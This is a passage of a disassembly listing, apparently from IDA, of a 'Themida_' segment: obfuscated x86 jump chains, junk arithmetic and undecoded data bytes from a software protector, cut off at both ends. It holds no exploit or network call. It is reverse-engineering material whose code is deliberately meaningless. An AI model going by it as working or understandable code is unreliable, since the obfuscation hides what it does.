		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5984A3:				; CODE XREF: Themida_:00593E08j
		add	eax, 3BAA8C23h
		add	ebx, eax
		pop	eax
		add	ebx, eax
		push	edx
		mov	edx, 1AB06071h
		sub	edx, 56AE34E5h
		and	edx, 1CDF5B82h
		add	edx, 0FE54462h
		add	ebx, 750E1ADAh
		sub	ebx, edx
		sub	ebx, 750E1ADAh
		mov	edx, [esp]
		jmp	loc_5A0331
; ---------------------------------------------------------------------------


loc_5984DB:				; CODE XREF: Themida_:00598AFFj
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_5A59F4
; ---------------------------------------------------------------------------
		dd 0C281C201h, 55924812h, 582434FFh, 0E9E28952h, 4F8Ch
; ---------------------------------------------------------------------------


loc_598504:				; CODE XREF: Themida_:005A40ABj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A0DD6
; ---------------------------------------------------------------------------
		db 0B9h
		dd 37B674FCh, 0BA5241h,	81000000h, 0EC596AC2h, 0E9CA2970h
		dd 6E0Ch
; ---------------------------------------------------------------------------


loc_598528:				; CODE XREF: Themida_:0059DBA2j
		push	eax
		mov	eax, offset byte_434421
		shl	eax, 8
		xor	eax, 44B70F4Fh
		sub	esi, eax
		pop	eax
		pop	ebp
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_59D633
; ---------------------------------------------------------------------------
		dd 3FE6814Eh, 0F75AC27Bh, 4F681DEh, 0E9D49F49h,	9917h
		dd 5E0BC181h, 82E96BC6h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598563:				; CODE XREF: Themida_:0059B722j
		not	ah
		xchg	ah, dh
		jmp	loc_59C301
; ---------------------------------------------------------------------------
		dd 7A0668h, 24348900h, 101D75BEh, 23806820h, 0C890000h
		dd 98EFE924h, 0C181FFFFh, 496A01CEh, 68505758h,	61FD7B1Dh
		dd 0E9D0F758h, 0FFFFA039h, 7A68495Dh, 0E9000022h, 965Bh
		dd 2083B951h, 4C016A7Fh, 0BEE90824h, 81000082h,	2042E4C2h
		dd 0ECC28127h, 1580942h, 0A09DE9CAh, 0C301FFFFh, 6AEAEB81h
		dd 89520524h, 4C281E2h,	83000000h, 38E904EAh, 800000B2h
		dd 0C5FEECF5h, 80D5CD80h, 0E80097EDh, 0E9240C8Bh, 7A91h
		dd 0E9240489h, 0FFFF849Bh, 24348755h, 3487D6F7h, 0E5C15D24h
		dd 80E95703h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598613:				; CODE XREF: Themida_:005A3FAFj
		push	52EBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_599A5F
; ---------------------------------------------------------------------------
		db 0D1h
		dd 4E0C1E0h, 53504B93h,	0DB2D5B58h, 813FE8DEh, 515ADFC2h
		dd 0E9C20105h, 4B5Eh, 30B8B850h, 27E961C9h, 5B00006Bh
		dd 3C87C581h, 34FF404Eh, 0BEE95E24h, 5EFFFFEDh,	7AE95750h
		dd 550000BEh, 0C565E9h,	14896600h, 5C6FE924h, 248B0000h
		dd 0C0B3E924h, 81660000h, 66269CE6h, 0E903E6C1h, 0B56Ch
; ---------------------------------------------------------------------------


loc_59868C:				; CODE XREF: Themida_:0059987Ej
		sub	eax, 0FFFFFFFFh
		sub	eax, 0D43C46Bh
		sub	eax, ebp
		xchg	eax, ebp
		jmp	loc_5A325F
; ---------------------------------------------------------------------------
word_59869E	dw 8B66h		; DATA XREF: Themida_:005907DCo
		dd 0F682404h, 8900000Fh, 5954240Ch, 4EC81h, 1C890000h
		dd 3A85BB24h, 0C3813C1Ch, 23627BF4h, 7DFCF381h,	0E9570CD0h
		dd 7D3Eh
; ---------------------------------------------------------------------------


loc_5986CC:				; CODE XREF: Themida_:0059197Dj
		push	dword ptr [esp]
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_593B70
; ---------------------------------------------------------------------------
		dd 0F60AFABEh, 246C810Eh, 6B7B2F08h, 2474014Bh,	24448108h
		dd 6B7B2F08h, 24348B4Bh, 1AF66852h, 24890000h, 24048124h
		dd 4, 4C2815Ah,	81000000h, 4C2h, 24148700h, 5224248Bh
		dd 36FEBE56h, 81465195h, 0E87702F6h, 0C7CE8132h, 81481378h
		dd 0CC8706C6h, 5EF289B4h, 8245401h, 246C815Ah, 0BE27A904h
		dd 2454297Fh, 24448104h, 0BE27A904h, 0ADADE97Fh
		db 2 dup(0)
word_598762	dw 8B66h		; DATA XREF: Themida_:00590A48o
		dd 0EC81240Ch, 4, 83242C89h, 8F5404ECh,	4832404h, 0AFE90424h
		dd 89000051h, 0C6835FFEh, 3EF681FFh, 4615354Eh,	0FF8612E9h
		dd 42BF57FFh, 8975FC27h, 0C1815FF9h, 1D1E6197h,	6498E981h
		dd 0E9C16484h, 0F9E18107h, 0E934F61Ch, 0FFFFFDA4h, 0E9243C87h
		dd 0FFFFD6E3h, 9605665Ch, 5805664Ah, 0D19FE935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5987CA:				; CODE XREF: Themida_:00597163j
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		push	6C50h
		mov	[esp], ebp
		jmp	loc_5A12B1
; ---------------------------------------------------------------------------
aZssu		db 9,'ÓZé‘u',0
		align 2


loc_5987EE:				; CODE XREF: Themida_:0059382Bj
		mov	edx, [esp]
		add	esp, 4
		dec	eax
		sub	eax, 33BB47D4h
		jmp	loc_5A18B8
; ---------------------------------------------------------------------------
		db 87h
		dd 565C240Ch, 4BEh, 0E9F50100h,	0FFFFAE35h, 2168E389h
		dd 8900003Fh, 66682404h, 580F8D1Ah, 0D40D0F7h, 346431A7h
		dd 7DD9E9h, 2434FF00h, 48E9555Dh, 1000032h, 24048BC3h
		dd 8304C483h, 1C8704C3h, 24248B24h, 0C30CE9h
		db 0
; ---------------------------------------------------------------------------


loc_59884D:				; CODE XREF: Themida_:005A34A4j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	5E86h
		jmp	loc_59BD2B
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0C0FFE9h, 24148700h,	403CE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59886E:				; CODE XREF: Themida_:00595180j
					; Themida_:005959DFj
		sub	esp, 4
		mov	[esp], ecx
		push	25E6h
		mov	[esp], ebx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_594DCA
; ---------------------------------------------------------------------------
		db 0FFh
a4S3b		db '4$é3¡',0
		dw 5F00h
		dd 8324048Bh, 0E98104C4h, 8163B7D5h, 0BA09E9h, 0C7814F00h
		dd 0C0B8D86Dh, 6836E9h,	0D6E95A00h, 5BFFFFD7h, 2C8BEB21h
		dd 27F7E924h, 15A0000h,	8B082444h, 0C4812404h, 4, 87685052h
		dd 5858D851h, 1FE5E9h, 0FFD50100h, 54E92434h, 89000002h
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 50EB685Ch, 4890000h
		dd 322B6824h, 8F540000h, 4812404h, 424h, 4055800h, 83000000h
		dd 43304C0h, 24043124h,	8B240433h, 0C5812424h, 4, 45ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_598931:				; CODE XREF: Themida_:005A0502j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59C360
; ---------------------------------------------------------------------------
		dd 4C181h, 0BF570000h, 9000380h, 4708E7C1h, 7FFDEF81h
		dd 0C1E90003h, 89FFFFB0h, 32BD242Ch, 81179C3Fh,	292120F5h
		dd 8BEA2131h, 0C481242Ch, 4, 6C4DF281h,	0BAE94505h, 53000057h
		dd 4BBh, 245C0100h, 2434FF04h, 4C4815Bh, 0E9000000h, 3E89h
		dd 0B0E9D531h, 5E000099h, 3A35B850h, 0E8C140F9h, 2731E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5989AA:				; CODE XREF: Themida_:005A2ECAj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A5A8E
; ---------------------------------------------------------------------------
		align 2
aRPhgo		db 'ÃR²hgo',0
		dw 8900h
		dd 5352240Ch, 34C9E951h, 88BB0000h, 815B6E32h, 2752DDCBh
		dd 0CCEB8149h, 187016Fh, 241C8BDEh, 4C481h, 0E9550000h
		dd 7354h, 0C181E189h, 4, 2020E9h, 0BF575A00h, 4122FFAh
		dd 0F3E9FE01h, 89000093h, 2A9A68E5h, 3C890000h,	61EFBF24h
		dd 0C7816862h, 1, 7C28E9h, 53E68900h, 4BBh, 0D6EE8100h
		dd 1352221h, 0D6C681DEh, 5B352221h, 4C681h, 0FF560000h
		dd 5E042474h, 0E924048Fh, 6253h, 290BC681h, 48B4399h, 0E7895724h
		dd 4C781h, 0C7830000h, 243C8704h, 5124248Bh, 0CA3383B9h
		dd 0B8505330h, 11172AFBh, 0B30886BBh, 58C3011Fh, 815BD931h
		dd 0D0597DEEh, 0E9CE0168h, 0A290h
dword_598A9C	dd 42474FFh, 0FF2434FFh, 34FF2434h, 2434FF24h
					; DATA XREF: Themida_:00590844o
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_59EBE2
; ---------------------------------------------------------------------------


loc_598AB7:				; CODE XREF: Themida_:00598339j
		xor	ebp, [esp]
		jmp	loc_5A4099
; ---------------------------------------------------------------------------


loc_598ABF:				; CODE XREF: Themida_:005A38B8j
		push	77764339h
		pop	edi
		and	edi, 5CA341D6h
		push	eax
		mov	eax, 13BF6C69h
		add	eax, 50882DDDh
		and	eax, 46A8734Ch
		or	eax, 642C478Eh
		xor	eax, 602F59E7h
		jmp	loc_59D5DF
; ---------------------------------------------------------------------------


loc_598AEA:				; CODE XREF: Themida_:0059F614j
		add	esp, 4
		push	edi
		mov	edi, 7E7F7C3Bh
		shr	edi, 6
		sub	edi, 1F9FDECh
		jmp	loc_5984DB
; ---------------------------------------------------------------------------
		dd 8704C183h, 685C240Ch, 6807h,	0FF9F70E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_598B15:				; CODE XREF: Themida_:00594DD8j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_597075
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 87000000h,	46E9241Ch, 5AFFFF93h, 5E08950h
		dd 4, 405h, 24048700h, 4EC815Ch, 0E9000000h, 0FFFFDF05h
; ---------------------------------------------------------------------------


loc_598B58:				; CODE XREF: Themida_:005A27FCj
		pop	edx
		or	edx, 1A4B59AAh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5B0A527Dh
		jmp	loc_599AB3
; ---------------------------------------------------------------------------
		db 83h
		dd 1C3302C3h, 241C3124h, 8B241C33h, 8B662424h, 21682404h
		dd 0E9000009h, 0FFFFC569h
; ---------------------------------------------------------------------------


loc_598B8C:				; CODE XREF: Themida_:0059CBFEj
		push	dword ptr [esp+4]
		jmp	loc_59CD56
; ---------------------------------------------------------------------------
		db 0C0h, 0ECh, 2
		dd 80CECC80h, 0EB8060F4h, 66E300C3h, 2948E951h,	0BB530000h
		dd 24587F15h, 0A780EFBFh, 0D698E9DBh, 1C8BFFFFh, 2C0CE924h
		dd 56520000h, 4662E9h
		db 0
; ---------------------------------------------------------------------------


loc_598BC9:				; CODE XREF: Themida_:0059AAA5j
		mov	[esp], ebx
		push	esp
		jmp	loc_59E0D1
; ---------------------------------------------------------------------------
		dw 2CBEh
		dd 4E168517h, 8F2DE9h, 0C00B5C00h, 1306840Fh, 31680000h
		dd 8900003Ch, 0FE682404h, 0FF000000h, 0F0E92434h
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_598BFB:				; CODE XREF: Themida_:0059D26Fj
		add	eax, 60B8E6E4h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_598359
; ---------------------------------------------------------------------------
aFqRs		db 'fQµÈRéÓ^',0
		align 2


loc_598C16:				; CODE XREF: Themida_:0059C361j
		push	58E7h
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5A164F
; ---------------------------------------------------------------------------
		dd 4C481h, 0F6810000h, 63064A13h, 17BCE9h, 9C516600h, 6BEFE9h
		dd 71E52D00h, 2D406F31h, 47C263E1h, 0F6376205h,	8C8FE96Ah
		dd 0C1890000h, 8124048Bh, 4C4h,	0FDEF8100h, 164A02Dh, 0FDC781CFh
		dd 5964A02Dh, 4C781h, 3C330000h, 2660E924h, 0D2F70000h
		dd 0A8C5EA81h, 0FD6821B7h, 8900002Eh, 92E92404h, 29FFFFA1h
		dd 0DDE958C2h, 80FFFFE1h, 0F58053F5h, 59EC0015h, 0E9E9E630h
		dd 29000084h, 0E82958C5h, 5F0015Dh, 36DD7809h, 5E2434FFh
		dd 1E77E9h, 0E9535100h,	299Fh, 34FFE801h, 8E51E924h, 2CB30000h
		dd 0CB80D3F6h, 0B8EB806Bh, 0D02C4304h, 0AFE9D800h, 0B300002Dh
		dd 8397E91Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598CEE:				; CODE XREF: Themida_:005A2D60j
		and	ecx, edi
		push	dword ptr [esp]
		jmp	loc_595488
; ---------------------------------------------------------------------------
		dd 11CFC681h, 15F5A8Fh,	4EC83C6h, 8841E9h, 24248B00h, 0B00E9C1h
		dd 0E7840FC0h, 68000037h, 510Fh, 0FFDBC0E9h, 71EBAFFh
		dd 0D0292243h, 2434FF5Ah, 0E789575Dh, 0FF8D51E9h, 17E950FFh
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_598D3B:				; CODE XREF: Themida_:00590F17j
		add	esp, 4
		xor	ecx, eax
		jmp	loc_5914F4
; ---------------------------------------------------------------------------
dword_598D48	dd 0C7A68h, 7AC36800h, 0C890000h, 0A9FBE924h, 2489FFFFh
					; DATA XREF: Themida_:0059084Co
		dd 24048124h, 4, 5D2434FFh, 11D9E9h, 0E9D4F600h, 0FFFFB98Ch
dword_598D74	dd 40D305ADh, 0AD2D77B8h, 1289952h, 52AD05D8h, 50572899h
					; DATA XREF: Themida_:00590968o
		dd 0C6542C68h, 64BF583Dh, 29AB4F90h, 24048BC7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_5990F4
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 57h
		dd 0E92A1B75h, 0C7F2h, 166A0566h, 0FFB1AAE9h, 243489FFh
		dd 6F88BF57h, 97E96445h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598DC3:				; CODE XREF: Themida_:0059A31Aj
		push	ebp
		push	4EF1h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5A17C5
; ---------------------------------------------------------------------------


loc_598DD9:				; CODE XREF: Themida_:005A211Fj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5A46D0
; ---------------------------------------------------------------------------
		db 1, 0CDh, 59h
aZLS0t		db '‡,$‹$$é0’',0
		dw 6800h
		dd 71267E24h, 80EB815Bh, 89FC752Bh, 2434FFDFh, 4C4815Bh
		dd 0E9000000h, 0BB75h
; ---------------------------------------------------------------------------


loc_598E14:				; CODE XREF: Themida_:005A16ACj
		push	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5A0641
; ---------------------------------------------------------------------------
		db 0B8h, 69h, 0A2h
		dd 0C2011AA2h, 8124048Bh, 4C4h,	3C3A2D00h, 39052F42h, 29057D5Eh
		dd 0C379E9D0h, 148B0000h, 4C48324h, 815A5452h, 4C2h, 4D14E900h
		dd 14F70000h, 24148B24h, 81E68956h, 4C6h, 4C68100h, 0E9000000h
		dd 5528h, 4EC81h, 8F540000h, 0BB532404h, 4, 4245C01h, 52241C8Bh
		dd 0FF8461E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_598E95:				; CODE XREF: Themida_:00593EECj
		xor	edx, 7046AFC0h
		jmp	loc_5911C4
; ---------------------------------------------------------------------------
		dd 0DF316658h, 241C8B66h, 2C481h, 1EE90000h, 560000C7h
		dd 0C681E689h, 4, 4EE81h, 17E90000h, 10000B7h, 1298E9FAh
		dd 0CE010000h, 2098EE81h, 81595C1Bh, 4EEh, 2AF0E900h, 29660000h
		dd 0C38166FBh, 8B666AD0h, 0C483243Ch, 0F3016602h, 66555666h
		dd 0E9787BBDh, 1F4Eh, 255D91BBh, 245C293Dh, 5F5D5B0Ch
		dd 8124048Bh, 4C4h, 4EC8100h, 89000000h, 4BE2434h, 0E9000000h
		dd 6A8h
; ---------------------------------------------------------------------------


loc_598F28:				; CODE XREF: Themida_:005A5031j
		pop	edx
		push	eax
		push	edi
		jmp	loc_5919BC
; ---------------------------------------------------------------------------
		dd 5A44B951h, 0C0BD7E0Dh, 181F2A5h, 0E95159CDh,	77C8h
		dd 0C14BD3F7h, 0E95605E3h, 2EB4h
; ---------------------------------------------------------------------------


loc_598F50:				; CODE XREF: Themida_:00592731j
		sub	ebx, 0FFFFFFFFh
		push	esi
		mov	esi, 88843A4h
		sub	esi, 0A8D76F3Ah
		sub	ebx, 17B7379Fh
		push	ecx
		mov	ecx, 766055E7h
		add	ebx, ecx
		pop	ecx
		sub	ebx, 0AFD6A45h
		add	ebx, esi
		add	ebx, 0AFD6A45h
		sub	ebx, 766055E7h
		add	ebx, 17B7379Fh
		pop	esi
		add	ecx, ebx
		pop	ebx
		add	ecx, edi
		push	eax
		push	edx
		jmp	loc_594816
; ---------------------------------------------------------------------------
		db 0BAh, 38h, 0
		dd 0D3890000h, 0D529E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598FA2:				; CODE XREF: Themida_:005A55CCj
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_591A00
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 0CA8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_598FCD:				; CODE XREF: Themida_:00595A84j
		mov	[esp], ebx
		mov	ebx, 321693Eh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59E3E7
; ---------------------------------------------------------------------------


loc_598FE0:				; CODE XREF: Themida_:005924FEj
		xchg	ecx, [esp]
		pop	esp
		push	eax
		push	ebp
		mov	ebp, 9364A46h
		mov	eax, 5927EE9Eh
		add	eax, ebp
		jmp	loc_59CB51
; ---------------------------------------------------------------------------


loc_598FF7:				; CODE XREF: Themida_:00595696j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	45A4h
		jmp	loc_59F366
; ---------------------------------------------------------------------------


loc_599019:				; CODE XREF: Themida_:0059FC56j
		push	5F1Bh
		mov	[esp], ebp
		jmp	loc_59ACF3
; ---------------------------------------------------------------------------


loc_599026:				; CODE XREF: Themida_:00593363j
		xchg	ebx, [esp]
		jmp	loc_59EA73
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0E9530000h, 0FFFFB98Dh, 8104C483h, 2F086DC6h
		dd 0CB73E95Dh, 70680000h, 89000071h, 4BB241Ch, 29000000h
		dd 14875BDAh, 24248B24h, 68243489h, 3F1359A1h, 8324348Bh
		dd 0EE8104C4h, 22FD7E48h, 7DBF5751h, 0E93BAF52h, 67CCh
; ---------------------------------------------------------------------------


loc_599080:				; CODE XREF: Themida_:0059A799j
		shl	ebx, 3
		sub	ebx, 0C7D3EE58h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 0EE473542h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5941BF
; ---------------------------------------------------------------------------
		dd 4C581h, 0B8500000h, 4, 5558C501h, 42474FFh, 81242C8Bh
		dd 4C4h, 24048F00h, 8124248Bh, 0A719F9EFh, 68CF015Bh, 4759h
		dd 56241C89h, 0CE2824BEh, 0FFF3897Fh, 348B2434h, 4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_597ADD
; ---------------------------------------------------------------------------


loc_5990F4:				; CODE XREF: Themida_:00598D9Cj
		mov	edi, 105E6E1Eh
		jmp	loc_595EB1
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 785F31B7h, 93F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_599109:				; CODE XREF: Themida_:0059E110j
		pop	esi
		pop	eax
		dec	eax
		jmp	loc_594067
; ---------------------------------------------------------------------------


loc_599111:				; CODE XREF: Themida_:00596BC3j
		dec	ebp
		push	ecx
		mov	ecx, 1C32B7Dh
		xor	ecx, 79A85493h
		or	ecx, 24706DF5h
		sub	ecx, 69FD30C2h
		neg	ecx
		sub	ecx, 49261BFFh
		jmp	loc_59E698
; ---------------------------------------------------------------------------


loc_599137:				; CODE XREF: Themida_:00595CE7j
		push	eax
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		jmp	loc_59798E
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFFCA2Bh
dword_599150	dd 24048B66h, 3C6668h, 241C8900h, 0C3815B54h, 4, 5F1268h
					; DATA XREF: Themida_:005908F8o
		dd 24348900h, 0FFABC1E9h, 1CEF81FFh, 0E985DC98h, 0FFFFEDD1h
; ---------------------------------------------------------------------------


loc_59917C:				; CODE XREF: Themida_:0059D0F3j
		mov	ecx, 5FB11D17h
		mov	edx, ecx
		mov	ecx, [esp]
		jmp	loc_5929BF
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 81E38924h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 6BD242Ch, 81741D40h,	0F86DE5EDh, 70ED8135h, 89247D89h
		dd 0E9555DEBh, 0FFFFE3AEh, 5C24048Fh, 51242489h, 4BB53h
		dd 0D9890000h, 83241C8Bh, 4C0104C4h, 0B4E90424h, 5EFFFFE5h
		dd 0E924148Bh, 0FC4h, 33240431h, 248B2404h, 0E930FF24h
		dd 0FFFF78A3h, 66FFEA80h, 89B65250h, 59696853h,	0C890000h
		dd 0C977E924h, 248B0000h, 0C8856624h, 7881E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59921A:				; CODE XREF: Themida_:005A2E64j
		sub	ebx, eax
		pop	eax
		add	ebx, eax
		add	ebx, 1F0D4C65h
		jmp	loc_595E89
; ---------------------------------------------------------------------------
		dw 0A2B6h
		dd 24E9F028h, 81000050h, 9F56B8C5h, 0EA815A4Bh,	34013C1Eh
		dd 16A0E9h, 80A2B200h, 0D32847F2h, 3E2C5Ah, 5F2068D8h
		dd 0C890000h, 0F6B6B524h, 0C5B652DDh, 8003EEC0h, 0A2E9B3C6h
		dd 81000056h, 4C1h, 4E98300h, 0A6FAE9h
		db 0
; ---------------------------------------------------------------------------


loc_599279:				; CODE XREF: Themida_:00597836j
		pop	ebp
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_5A038F
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C241Ch, 0FFFF8E76h
; ---------------------------------------------------------------------------


loc_599294:				; CODE XREF: Themida_:0059B374j
		push	ebx
		push	edx
		mov	edx, 9B549Ah
		inc	edx
		and	edx, 3EC77BD1h
		xor	edx, 2B477688h
		mov	ebx, edx
		pop	edx
		jmp	loc_593D6D
; ---------------------------------------------------------------------------
		dd 0C18DE950h, 0C581FFFFh, 0FF0ACD3h, 545FE9h, 5DE95A00h
		db 2, 2	dup(0)
byte_5992C7	db 81h			; DATA XREF: Themida_:0059096Co
		dd 4ECh, 240C8900h, 4EC81h, 29E90000h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5992DB:				; CODE XREF: Themida_:0059C99Cj
		pop	esi
		jmp	loc_5A4603
; ---------------------------------------------------------------------------


loc_5992E1:				; CODE XREF: Themida_:005A581Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5A39F7
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFBE5657h, 0E947B720h, 0C52Eh, 1A6BE955h, 248B0000h
		dd 14896624h, 9C506624h, 0FF777EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59931D:				; CODE XREF: Themida_:0059E0CCj
		push	ebp
		mov	ebp, 4
		sub	esi, 507C7120h
		jmp	loc_59943F
; ---------------------------------------------------------------------------
		dw 0F668h
		dd 89000035h, 60E92404h, 83FFFF77h, 0C28104C4h,	34AB499Eh
		dd 78B85053h, 0F71FF914h, 2CF905D0h, 0D53503F2h, 89C3A72Eh
		dd 0EB8158C3h, 16E3CA74h, 0E95BDA01h, 0B36h, 2466CD81h
		dd 0DDF703B9h, 0F581D5F7h, 5E1EBD6Bh, 565DEB31h, 24048153h
		dd 2B0929A9h, 84F5E9h, 31C78100h, 2910405Ah, 31B951D7h
		dd 2910405Ah, 34FF59CFh, 54565A24h, 4C6815Eh, 81000000h
		dd 4C6h, 24348700h, 94D7E95Ch, 0C581FFFFh, 19E69D2h, 4C19E9h
		dd 0E2685B00h, 89000024h, 5052241Ch, 0DB251B0h,	0C058C200h
		dd 0F28002E2h, 0DFC280C5h, 0C280DAF6h, 0FFC280C4h, 5306EAC0h
		dd 24C9E9h, 24248B00h, 0E9E08950h, 13A6h, 289FEA81h, 0BF574801h
		dd 75D469AEh, 60D8F781h, 0C7814638h, 237743ECh,	4FDBF781h
		dd 0C7815D58h, 301633D6h, 3CF4F781h, 0FA010AC5h, 241C8B5Fh
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0D3E92414h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59943F:				; CODE XREF: Themida_:00599329j
		add	esi, ebp
		add	esi, 507C7120h
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_59FF0D
; ---------------------------------------------------------------------------
		db 5
		dd 1, 0FFE023E9h, 0E9FD01FFh, 5B34h
; ---------------------------------------------------------------------------


loc_599464:				; CODE XREF: Themida_:005A1232j
		mov	edx, 17DD352Fh
		and	edx, 24785D62h
		xor	edx, 10494E61h
		sub	edx, 5FA06520h
		shr	edx, 4
		push	ecx
		push	eax
		jmp	loc_59A875
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 56000000h, 19768h, 24048900h, 35CDBF57h, 12B81883h
		dd 125F0FCh, 0DA8AE9F8h, 8DB8FFFFh, 2D477816h, 47781689h
		dd 8158C501h, 4C5h, 0DCDAE900h,	0F581FFFFh, 4D803E3Bh
		dd 0FFC3AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5994C9:				; CODE XREF: Themida_:005929EDj
		mov	esi, ecx
		pop	ecx
		jmp	loc_5A3524
; ---------------------------------------------------------------------------
		db 5Ah,	56h, 0BEh
		dd 4, 348BF701h, 4C48124h, 0E9000000h, 4402h, 15767DBFh
		dd 0E9DFF70Bh, 0FFFF99CCh, 595AD788h, 8006E7C0h, 0EFC072CFh
		dd 0E9506606h, 0A7F1h, 8105E2C1h, 4F2h,	51E95201h, 880000A6h
		dd 3C72E9EBh, 0E95C0000h, 0C678h, 0E9241487h, 9B36h
; ---------------------------------------------------------------------------


loc_59952C:				; CODE XREF: Themida_:0059F717j
		pop	edx
		add	ebx, 18781B1Eh
		sub	ebx, edi
		push	edi
		mov	edi, 18781B1Eh
		sub	ebx, edi
		pop	edi
		add	ebx, 9332AFFh
		pop	edi
		push	82Dh
		mov	[esp], ebp
		mov	ebp, 480C637Ch
		add	ebx, 6B842E6Dh
		add	ebx, ebp
		sub	ebx, 6B842E6Dh
		pop	ebp
		jmp	loc_59FD11
; ---------------------------------------------------------------------------


loc_599566:				; CODE XREF: Themida_:00597705j
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		and	eax, edx
		jmp	loc_5A25C5
; ---------------------------------------------------------------------------
		db 29h
		dd 34875FFEh, 34895C24h, 4695BE24h, 43686B0Bh, 89000001h
		dd 0BD552414h, 0EE8C1A9Ch, 15DEA89h, 0F1895AD6h, 5E2434FFh
		dd 504C483h, 4A4233DDh,	6C4AE9h, 242C8B00h, 4C481h, 0FE010000h
		dd 36B3EE81h, 95F4866h,	0E95E1C77h, 8877h, 55EF001h, 2
		dd 158AE950h, 4310000h,	732EE924h, 815D0000h, 4C4h, 8AB85000h
		dd 29275729h, 0E9082444h, 0FABh, 8904EC83h, 4B3241Ch, 50BDF380h
		dd 93F5E9h, 0EFC15C00h,	0EBE94707h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_599617:				; CODE XREF: Themida_:005947C5j
		push	edi
		dec	dword ptr [esp]
		pop	edi
		jmp	loc_5A352B
; ---------------------------------------------------------------------------
		db 29h,	0FDh, 5Fh
		dd 6A53EA81h, 0EA016C1Ah, 0F15FE951h, 0F2B1FFFFh, 0FFCF42E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599639:				; CODE XREF: Themida_:005A2571j
